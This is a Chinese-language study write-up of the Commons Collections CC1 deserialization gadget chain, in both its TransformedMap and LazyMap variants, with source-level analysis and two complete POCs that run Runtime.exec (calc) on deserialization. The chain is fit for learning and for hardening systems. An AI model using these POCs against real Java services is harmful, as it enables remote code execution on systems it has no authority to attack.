CC链学习上:

CC1:

这里主要还是学习的是P神的知识星球里面的Java安全漫谈。

Commons Collections的利用链也就是CC链,是Apache中的一个库,包括了Weblogic,JBoss,WebSphere,Jenkins等知名大型Java应用都使用了这个库。

这里的CC1指的是lazymap的那条链子,但是网上也有很多关于transformedmap的。

对于CC1的测试环境需要在Java 8u71之前,在此改动后,AnnotationInvocationHandler#readObject不再直接使用 反序列化得到的Map对象,而是直接新建了一个LinkedHashMap对象,并且将原来的键值添加进去。所以,后续对于Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再会执行set或是put操作。

测试环境:

  1. JDK 1.7
  2. Commons Collections 3.1

这一处漏洞最后会导致RCE漏洞的产生。

漏洞原理:

Apache Commons Collections中提供了一个Transformer的类,这个是个接口,功能就是将一个对象转换为另外一个对象。

这里首先参考一下P神的CC1利用链:

package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}

首先可以看到,这里实例化了一个Transformer类的数组,数组中包含了两个对象。

虽然这里的Transformer类是一个接口,本来是因为不能直接被实例化的,但是像这种情况出现,在后面应该不止有接口,应该还会存在一些匿名内部类,在匿名内部类的创建过程中实际上是实例化了一个实现接口。

因为在Java多态 中,父类可以引用指向子类对象,同理,接口也可以指向其实例化对象,在实例化对象中必然会实现接口中定义的方法和属性,同时,对象的类型必须是new出来的类型。

也就是说,重点是因为在这个数组接口中有匿名内部类的实现,而这也算是对接口是实现。

整个过程中涉及到以下几个接口和类:

TransformedMap

TransformedMap用于对Java标准数据结构Map,做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调。我们通过下面这行代码对innerMap进行修饰,传出的outerMap即是修饰后的Map。

Map outerMap = TransformeMap.decorate(innerMap,keyTransformer,valueTransformer);

其中,keyTransformer是处理新元素key的回调,valueTransFormer是处理新元素的value的回调。

这里说的回调不是传统意义上的回调函数,而是一个实现了Transformer接口的类。

Transformer:

这是一个接口

这个接口中有一个待实现的方法,

public interface Transformer{
public Object transform(Object input);
}

TransformerMap在转换Map的新元素的时候,就回到用transform方法,这个过程就类似在调用一个“回调函数“,但是这个回调的参数是原始对象。

两个实例化:

  1. ConstantTransformer

    这是实现了Transformer接口的一个类,过程就是在构造函函数的时候传入一个对象,斌且在Transform这个方法的时候,再将这个对象返回。

    public ConstantTransformer(Object constantToReturn){
    super();
    iConstant = constantToReturn;
    }
    public Object transform(Object input){
    return iConstant;
    }

    所以他的作用其实就是包装任意一个对象,然后在执行回到的时候返回这个对象,进而方便后续操作。

  2. InvokerTransformer
    InvokerTransformer是实现了Transformer接口的一个类,这个类可以用来执行任意方法,也就是反序列化能够进行RCE的关键入手点。

    在实例化这个InvokerTransformer的时候,需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是传递给这个函数的参数列表。

    public InvokerTransformer(String methodName,Class[] paramTypes,Object[] args){
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
    }

    后面的回调transform方法,就是执行了input对象的MethodName方法:

    public Object transform(Object input){
    if(input == null){
    return null;
    }
    }
    try {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);
    }
    catch (NoSuchMethodException ex) {
    throw new FunctorException("InvokerTransformer: The method '" +
    iMethodName + "' on '" + input.getClass() + "' does not exist");
    }
    catch (IllegalAccessException ex) {
    throw new FunctorException("InvokerTransformer: The method '" +
    iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
    throw new FunctorException("InvokerTransformer: The method '" +
    iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
    }

    可以看到这里,是通过反射的方式,来获取了对应input类中iMethodName的函数和传入的参数类型。

    然后直接调用然后调用iMethodName对应的方法,以及iArgs对应的参数。

ChainedTransformer

ChainedTransformer也是实现了Transformer接口的一个类,它的作用是将内部的多个Transformer串在一起,简单来说就是将前一个回调返回的结果作为后一个回调的参数传入。

public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

这里简单来看,就是将传入的Transformer类的数组进行了一个遍历,然后依次调用了对应的Transformer数组中的类的transform方法。

这部分的遍历调用,就是能够将多个transform函数连环调用的关键。

回头看一下源码:

image-20230406104244143

这部分其实就是创建了一个Transformer数组,内部包含两个实例,然后通过调用ChainedTransformer来连续调用。

这里是首先调用了Runtime下的getRuntime()方法,这个方法会返回一个新的Runtime类,然后常规操作就是调用这个新Runtime类中的exec函数来进行命令执行。

image-20230406113043011

image-20230406113048917

在这里,是将这个新返回的Runtime类作为参数传入,然后进行一重包装,等待调用时返回。

然后是InvokerTransformer这一部分,这部分主要是用来将参数和调用的函数名字传入。

可以看到这里是调用了exec()函数,也就是调用了Runtime.getRuntime()返回的类currentRuntime()中的exec()函数,来执行命令执行,然后这里同时标注了传入的Class对象数组,其中有一个String类的Class对象。也就是告诉我们参数类型是String。并给出了调用的计算器的绝对路径作为参数,以方便执行。

然后创建了子类ChainedTransformer()的一个对象,用来连锁调用参数和传来的内容。

因为这里只是一系列回调,所以需要用来包装innerMap,使用前面的TransformedMap.decorate

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);

这里就是对内部映射(innerMap)进行了一个包装,使用了transformerChain的转换器。

最后想要触发回调,就是想Map中放入一个新的元素。

例如:

outerMap.put("test","xxxx");

调用流程:

整个调用流程就是:

1、创建一个Transfomer类的数组,transformers,在其内部添加我们想要执行的函数,参数,内容。

2、然后调用ChainedTransfomer类,将上述数组作为参数传入,创建一个对象。

3、新建一个HashMap类的对象,创建了一个数据类型为Map的对象。然后通过TransformedMap.decorate(),来调用数据类型为Map的对象,也就是innerMap,进而来调用ChainedTransformer类的对象——transformerChain类中的transformer()方法。

4、这个时候,就会依次执行ConstantTransformer类和InvokerTransfomer类中的transformer()方法,也就完成了参数的返回和命令的执行。

5、上述就是调用流程,为了触发这个调用流程,就需要想outerMap中传入一个键值对,这个时候,就会自动开始调用transformerChain中的方法。

只能传入值,删减值是没有效果的

也就是说,最后的命令执行点是在InvokerTransformer类中的transforme()函数中。

如何生成一个可以利用的序列化对象:

为了调用这个链子,我们需要进行一个写入操作来进行触发。但是有一个问题,是因为这里我们是在自己的demo里,可以通过手动触发。

但是当我们把outerMap这个对象序列化之后,就不能这么进行了,所以我们需要找到一个readObject逻辑里,有一个写入的操作。

这个类就是sun.reflect.AnnotationInvocationHandler,我们查看一下readObject代码:

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in
annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue :
memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}

这个是8u17版本的调用链,现在新版本中是不能使用的。

可以看到,在这个私有类中,定义了一个Map类型的数据,memberTypes,这个变量是存储了所有成员变量的类型。

根据我们之前的使用方法,应该就能知道这里是主要的调用点。

然后下面进入了一个for循环,在这个循环里,注意首先设置了一个Map.Entry类型的变量,memberValue。这个类型是一个接口,用来存储Map中的键值对。

在循环中会首先获取HashMap中的键,然后使用get(name)方法去获取值的信息,随后进行一个if判断,判断这个值的类型是否为Null。

如果不是Null,就使用getValue()函数获取这个键对应的值,然后再进行一个if判断,在这个if里,会判断Type是不是memberType这个类的实例,或是ExceptionProxy这个类的实例。

如果不是上面任何一种的实例,就进入判断语句。

这部分就是利用的点了,可以看到这里调用了setValue()函数,这个函数比较有意思的一点在于,这个函数实际上是改变memberValue这个变量中的键值对,而不是直接改变Map对象中的键值对。

简单来说,就像是一本书,你只改了书的目录,但是书的内容是不变的。

这里因为memberValues就是反序列化之后的Map,同时也经过了TransformedMap修饰的对象,所以调用setvalue的时候,就能触发构造的恶意序列化。

这里的核心逻辑就是:

  1. Map.Entry<String, Object> memberValue : memberValues.entrySet()
  2. memberValue.setValue()

触发条件:

  1. memberValues是我们准备好的经过TransformedMap类修饰的Map
  2. 其中的值不能是Null,同时也不是Exception的实例,或者不是memberType中记录的类型。

也就是说,实际上是可以直接用我们修饰好的类传入进去就可以了。

为了调用AnnotationInvocationHandler中的readObject(),所以我们需要创建一个对应的实例,用于序列化,并将Map设置进来。

为了创建这个对象,需要使用反射的形式来进行创建:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstuctor(Class.class,Map.class);
construct.setAccessible(true);
Object obj = Construct.newInstance(Retention,class,outerMap);

这里就是通过反射的方式,创建了一个反射实例obj然后将这个实例进行序列化。

这时因为sun.reflect.annotation.AnnotationInvocationHandler是JDK中的一个内部类,不能使用new来直接进行实例化,所以也不能直接进行序列化。

在创建实例的时候,将我们之前修饰过的Map作为参数outerMap传入。

修改原本的POC:

随后,可以尝试对这个反射后创建的实例进行序列化。

但是会出现报错:

java.io.NotSerializableException: java.lang.Runtime

这是因为在之前写的调用方式中,Runtime这个类是不支持Serializable这个接口的,当Java要进行序列化的时候,必须要保证序列化的对象和它内部的所有属性对象都要实现Serializable接口。

因此,需要对Runtime进行反射,然后才能进行序列化。

所以需要添加反射部分:

Method m = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime)m.invoke(null); //这里的getRuntime是static的方法,所以可以不写实例化对象。
r.exec("需要的路径");

第一行就是获取Runtime的class对象,然后获取getRuntime()的静态方法。

然后调用getRuntime()方法,返回一个Object对象,强制转换为Runtime类型。然后调用其中的exec函数。

只要通过上述步骤就可以完成调用。

因为InvokeTransformer类中其实就是通过反射的方式来进行调用的,所以,可以通过反射的方式,来对Runtime中的exec进行调用。

调用的部分是这里:

Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

调用顺序:

  1. Runtime.getClass(),然后获取其中的getMethod方法,然后invoke()调用getMethod()方法,这里就等于是执行了getMethod(“getRuntime”)。
  2. 上一次的getMethod()函数会返回一个Method对象,这个Method中包含了Runtime中的所有方法,也就相当于那个m,然后获取其自身的invoke()方法,然后调用,因为不需要参数,就直接使用null。
  3. 然后再重复上面的步骤,调用其中的exec函数,来进行命令执行。

这里最主要的可以实行的原因,是因为Runtime.class是一个java.lang.Class对象,实现了Serializable接口,所以可以直接进行序列化。

无法触发的原因:

这是因为在AnnotationInvocationHandler:readObject()中存在一个逻辑:

image-20230421095008194

这个if语句会对var7的值进行判断,只有在值不为null的时候,才会进入if内部,执行setValue,否则会不会进入,也就不会触发漏洞。

P神这里直接告诉我们,通过两个条件可以让var7不为Null。

  1. sun.reflect.annotation.AnnotationInvocationHandler构造函数的第一个参数必须是Annotation的子类,并且其中必须含有至少一个方法,假设方法名是X
  2. TransformedMap.decrate修饰的Map中必须有一个键名为X的元素。

这里可以看一下为什么需要做上述两个操作:

为什么要设置两个条件:

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { //是Annotation类,同时var1只implements了一个接口,此接口是Annotation接口
this.type = var1; //this.type是我们传入的Annotation类型Class
this.memberValues = var2; //memberValues为我们传入的map
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type); //跟进getInstance
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes(); //这个方法返回var2.memberTypes,我们的memberTypes是一个hashmap,而且key为"value"
Iterator var4 = this.memberValues.entrySet().iterator();//memberValues为我们传入的map

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next(); //遍历map
String var6 = (String)var5.getKey();//获取map的key,这里我们传入一个值为value的key,令var6="value"
Class var7 = (Class)var3.get(var6);//在var3中找key为var6的值,如果在这里没有找到,则返回了null,所以我们需要找一个Annotation类型有方法名为我们map的key
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}

首先,为什么我们一定要传入一个Annotation类:

image-20230423224159202

是因为这里,调用的是AnnotationType的getInstance()方法,而this.type就是我们传入的Annotation类。

首先跟入getInstance()

image-20230421213649805

定义了一个var1,调用函数,用于获取访问权限。

定义了一个AnnotationType类型的var2,这里调用了getAnnotationType()函数,获取了我们传入的Annotation类的注解。

然后只要存在注解,就能够进入if。

此时,将var2重新赋值为一个AnnotationType类型,这里跟进构造函数:

image-20230421222053697

因为此时我们传入的var0是Annotation类,所以直接执行else。

在else中,返回了var1,也就是我们定义的Annotation中的所有方法。

image-20230421223105132

然后创建了三个HashMap对象,设置了初始容量和负载因子。

然后定义了一个var3的数组,获取var2中的所有Methods,var4是方法的数量。

进入了一个for循环,依次遍历var2中的所有方法。

如果当前遍历到的方法有参数,就报错。

随后,定义了一个var7,用于存储方法名。

然后var8存储返回类型。

然后将var7作为键,调用了一个函数处理var8,函数定义在下面:

image-20230423170304159

函数用于将var8存放的类型,转换为类型对应的类。这里作为值传入。

注意

这个地方memberTypes这个变量是非常重要的,在我们的AnnotationInvocationHandler.class中可以看到,var3其实就是var2调用了一个memberTypes()方法的返回值。

image-20230423215002973

而这里的函数的返回值其实也就是我们创建的memberTypes这个变量。

image-20230423215044365

因此,需要重视这个变量。

var7是我们传入AnnotationInvocationHandler类构造方法的Annotation类中所有方法的方法名(因为是遍历)

也就是说memberTypes这个HashMap类中的键值对中,键是所有方法的方法名,而值是方法对应的返回值的类型。

因此:

image-20230423221309915

var3是上述的memberTypes

image-20230423221626479

在这部分,var4是一个用于遍历集合的类,上述将memberValues的内部键值对作为一个视图返回,然后存储在var4中。

只要var4中还有可以遍历的元素,就执行while循环。

var5是一个存放键值对的类,用于表示var4中的元素

var6存放这个var5这个键值对中的键,而var7则是存放var3中,键对应的值。

memberValue是我们传入的,经过Transformer修饰的Map类。

也就是说,在我们创建的Map中,存在的键在var3中有对应的值,也就是说,在Map中的键,必须是Annotation这个类中的某个方法名。

到这里,我们就已经知道为什么需要满足那两个条件了。

使用Retention:

image-20230423224721942

这里可以看到,Retention.class是Annotation的子类,这里是满足我们的使用要求的。

其中,存在一个方法,叫做value(),按照我们的要求,我们需要在被Transformer修饰的Map中传入一个键,名字叫value。

所以可以使用:

innermap.put("value", "xxx");

就可以进入if,完成setValue,进而触发我们的Payload,完成命令执行。

当然,这里只要是Annotation的子类就可以

image-20230423225239465

这两个其实也行。

也就是说,我们对innerMap()的修改,其实是可以有多种的。

主要是根据使用的子类中的方法名来决定的。

原版POC:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\\Windows\\WinSxS\\wow64_microsoft-windows-calc_31bf3856ad364e35_10.0.19041.1_none_6a03b910ee7a4073\\calc.exe"}),
};
Transformer chaintransformer = new ChainedTransformer(transformer);
Map innerMap = new HashMap();
innerMap.put("value","xxxx");
Map outerMap = TransformedMap.decorate(innerMap,null,chaintransformer);
try {
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Retention.class,outerMap);
FileOutputStream file = new FileOutputStream("./CC1.ser");
ObjectOutputStream output = new ObjectOutputStream(file);
output.writeObject(instance);
}
catch (IOException error){
error.printStackTrace();
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
} catch (InstantiationException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
try {
FileInputStream file = new FileInputStream("./CC1.ser");
ObjectInputStream input = new ObjectInputStream(file);
input.readObject();
}
catch (IOException e){
e.printStackTrace();
}
}
}
/*
Method m = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime)m.invoke(null); //这里的getRuntime是static的方法,所以可以不写实例化对象。
r.exec("需要的路径");
*/

image-20230501190153382

为什么Java高版本不能使用:

当我们创建了POC之后,会发现,只能在8u17版本中进行利用。

这是因为在高版本中,对AnnotationInvocationHandler.class这个类的readObject()方法进行了修改:

@java.io.Serial
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();

@SuppressWarnings("unchecked")
Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
@SuppressWarnings("unchecked")
Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(t);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// consistent with runtime Map type
Map<String, Object> mv = new LinkedHashMap<>();
//注意这一行,这里创建了一个LinkedHashMap用于存储我们传入的Map中的键值对。

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
String name = memberValue.getKey();
Object value = null;
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
value = new AnnotationTypeMismatchExceptionProxy(
Objects.toIdentityString(value))
.setMember(annotationType.members().get(name));
}
}
mv.put(name, value);
}

UnsafeAccessor.setType(this, t);
UnsafeAccessor.setMemberValues(this, mv);
}

这是因为在类代码的656行,新建了一个类对象,LinkedHashMap的对象mv,然后在673行可以看到将我们传入的Map的键和值传入了mv中。

因为我们是不能控制mv这个对象的,所以不能进行RCE操作。

这里就要看到在ysoserial中的代码,里面使用的不是TransformedMap,而是改用了LazyMap这个类。

LazyMap:

什么是LazyMap
LazyMapTransformedMap类似,都是来自于Common-Collections库,并继承了AbstractMapDecorator

这两个利用链的主要区别是,TransformedMap是在写入元素的时候执行的transform,而LazyMap是在它的get方法中执行的factory.transform

这个函数的作用,就像是LazyMap的描述一样,是懒加载,也就是在get找不到值的时候,它会调用factory.transform方法去获取一个值。

public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

上述是源码,这里可以看到,在这个函数中,当我们尝试从一个map类型的参数中获取它的键的时候,如果找不到键,就调用factory.transform(key)

但是相比于TransformedMap的利用方法,LazyMap的利用更加复杂。

sun.reflect.annotation.AnnotationInvocationHandler的readObject()没有直接调用到Map中的get方法

也就是说,如果我们想要调用其中的get()方法,就必须要使用别的方式来进行。

ysoserial中可以给出一个新的路线,在AnnotationInvocationHandler类的invoke方法中有调用到get()

public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);//这里调用了memberValues中的get方法
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}

这里还是jdk1.8里面的AnnotationInvocationHandler类。

为了调用这个地方的invoke()方法,这里需要使用Java中的对象代理,也就是类似于实现PHP中的魔术方法来进行对对象的调用。

这里回头看一下AnnotationInvocationHandler类,可以发现这里其实就是一个继承了InvocationHandler接口的类。

image-20230505151045595

也就是说,这个类实际上我们是可以进行代理的。

只要我们将这个类进行代理,那么在进行readObject的时候,不管是调用这个类的什么方法,都会通过代理类,然后受到代理类Invoke()方法的调控,进而触发LazyMap#get

因为我们需要调用AnnotationInvocationHandler中的Invoke()方法从而进入LazyMap

调用思路:

因此我们不难得出此处POC需要的几个要素:

  1. 不使用TransformedMap进行修饰,而是换成LazyMap进行修饰
  2. 为了调用AnnotationInvocationHandler中的Invoke()函数,所以需要对这个类进行代理,将这个类作为handler参数给代理类使用。当代理类进行任何方法的调用的时候,都会直接调用AnnotationInvocationHandler中的Invoke()函数,这是由Java中代理的性质决定的。
  3. 对于上述的代理类,因为我们反序列化的入口还是AnnotationInvocationHandler,所以需要将上述的代理类包装一次,变为AnnotationInvocationHandler类,来进行序列化。

POC:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\\Windows\\WinSxS\\wow64_microsoft-windows-calc_31bf3856ad364e35_10.0.19041.1_none_6a03b910ee7a4073\\calc.exe"}),
};
Transformer chaintransformer = new ChainedTransformer(transformer);
Map innerMap = new HashMap();
innerMap.put("value","xxxx");
Map outerMap = LazyMap.decorate(innerMap,chaintransformer);
try {
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class,outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler);
Object instance = constructor.newInstance(Retention.class,proxyMap);
FileOutputStream file = new FileOutputStream("./CC1.ser");
ObjectOutputStream output = new ObjectOutputStream(file);
output.writeObject(instance);
}
catch (IOException error){
error.printStackTrace();
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
} catch (InstantiationException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
try {
FileInputStream file = new FileInputStream("./CC1.ser");
ObjectInputStream input = new ObjectInputStream(file);
input.readObject();
}
catch (IOException e){
e.printStackTrace();
}
}
}
/*
Method m = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime)m.invoke(null); //这里的getRuntime是static的方法,所以可以不写实例化对象。
r.exec("需要的路径");
*/

这里的POC主要还是参考的P神的Java安全漫谈。

当运行了这个POC之后就会直接弹出计算器。

image-20230507155137201

这里我们再仔细的看一下具体的函数调用特点:

image-20230507154832202

image-20230507154853296

在这个LazyMap中的get方法里,调用的factory.transform(key)实际上就是调用的Tranformer这个类中的transform()方法,同时可以知道factory是可控的。

就像是TransformedMap链中一样,当我们调用decorate()函数的时候,就会创建一个新的Map类,因此我们会直接将其中的factory类设置为ChainedTransformer类,随后就能直接调用其中的transform()方法,然后完成对链的调用。

这条链子的区别和之前的TransformedMap的区别就只有前面这部分,不包含后面部分。

关于ysoserial中的ConstantTransformer(1):

根据P神的Java安全漫谈中的说法,应该是为了隐藏启动进程的日志特征。

image-20230507163010779